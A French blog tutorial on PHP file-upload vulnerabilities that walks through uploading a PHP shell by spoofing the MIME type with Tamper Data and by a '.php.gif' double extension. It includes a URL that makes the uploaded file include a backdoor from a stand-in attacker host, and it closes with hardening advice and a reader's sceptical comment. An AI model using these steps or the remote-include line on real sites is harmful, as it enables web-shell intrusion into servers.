L’upload permet le transfert des fichiers depuis votre machine qui est le client vers le site qui est le serveur, mais souvent les scripts d’upload contiennent des vulnérabilités.


La faille upload est une faille permettant d’uploader des fichiers avec une extension non autorisée, cette faille est due à la mauvaise configuration du script d’upload ou à l’absence complète de sécurité. Celle ci est généralement présente dans les scripts d’upload d’images.

En quoi ça consiste ?

Le but de cette faille est d’uploader un fichier avec une extension non autorisée. (Par exemple un code php) de façon à avoir un accès au serveur cible.

Comment l’exploitée ?

Dans cette partie , je vais vous expliquer les différentes manières d’exploiter la faille Upload .

 Methode 1 : Bypass mime vérification

Le type MIME, c’est le renseignement donné par $_FILES[‘monFichier’][‘type’]
Certains scripts ne font que vérifier si le mime correspond aux types de fichiers autorisés par contre une vérification de mime n’est pas suffisante parce qu’un pirate peut bypasser cette vérification en suivant ces étapes:

1 . Télécharger Firefox

2. Télécharger Tamper Data que vous pourrez trouver à l’adresse suivante: Télécharger

3. Ouvrir un site vulnérable qui contient un script d’uplod

4.  Démarrer « Tamper Data »

5. Démarrer l’altération

Pour démarrer l’altération, ouvrez Firefox puis cliquez sur « outils » ensuite sur « altérer données » et enfin « démarrer altération ».

6. Maintenant sélectionner un fichier php que vous voulez uploder et cliquer sur uploder.

7. Une nouvelle fenêtre s’ouvre, cliquer sur Altérer

8. Vous avez le « header ». Maintenant dans POST_DATA, changer « application/octet-stream » par « image/jpg » puis cliquez sur OK et admirer le résultat.

le Shell a été uploadé avec succès !  Il est passé pour une image jpg.

Le pirate peut maintenant exécuter le fichier PHP avec l’adresse URL de ce dernier.

Methode 2 : Double extension

Certains scripts ne font que vérifier l’extension du fichier, encore cette protection peut être bypasser par un pirate en faisant une double extension (suivant les hébergeurs).

On va d’abord créer un fichier gif  Pour cela, ouvrez paint, créer une image de quelques pixels.

Ensuite, on ouvre notre gif avec un éditeur hexadécimal (pour moi hexiwin, c’est le meilleur).

Maintenant imaginons que l’on insère du code php dans notre gif et qu’on lui met une double extension (.php.gif).

Dans notre éditeur, on trouve un espace vide pour y rajouter un en-tête html ainsi que la fonction include.

On se retrouve donc avec notre fichier.php.gif

On l’upload, et maintenant l’upload se passe correctement 🙂

On se rend à notre fichier.php.gif?test=http://www.sitepirate.com/backdoor.php

Et voila donc notre backdoor est mis en place :p

Sécurisation d’upload

Voici quelques conseils, qui vous permettront de sécuriser cet faille :

  • Ne jamais se fier à ce que peut envoyer le client.
  • Vérifier la configuration d’Apache afin d’agir en conséquence.
  •  Ne pas placer le .htaccess dans le répertoire d’upload
  • Ne pas permettre l’écrasement de fichier
  • Générer un nom aléatoire pour le fichier uploadé et enregistrer le nom dans une base de données.
  • Ne pas permettre de voir l’index of du répertoire d’upload.
  • Assigner les bonnes permissions au répertoire.
  • Vérifier le mime-type avec getimagesize() et l’extension du fichier.

3 Commentaires

  1. ed

    J’aimerais quand même savoir s’il existe vraiment des gens qui confient l’exécution de fichiers « .gif » à PHP. De base, la partie mime_module d’Apache n’associe le type application/x-httpd-php qu’avec « .php » et « .php3 ». Donc si vous avez choisi de vous tirer une balle dans le pied en ajoutant le type « .gif » sur un serveur qui autorise l’upload de fichiers « .gif », il faut sérieusement revoir votre politique de sécurité.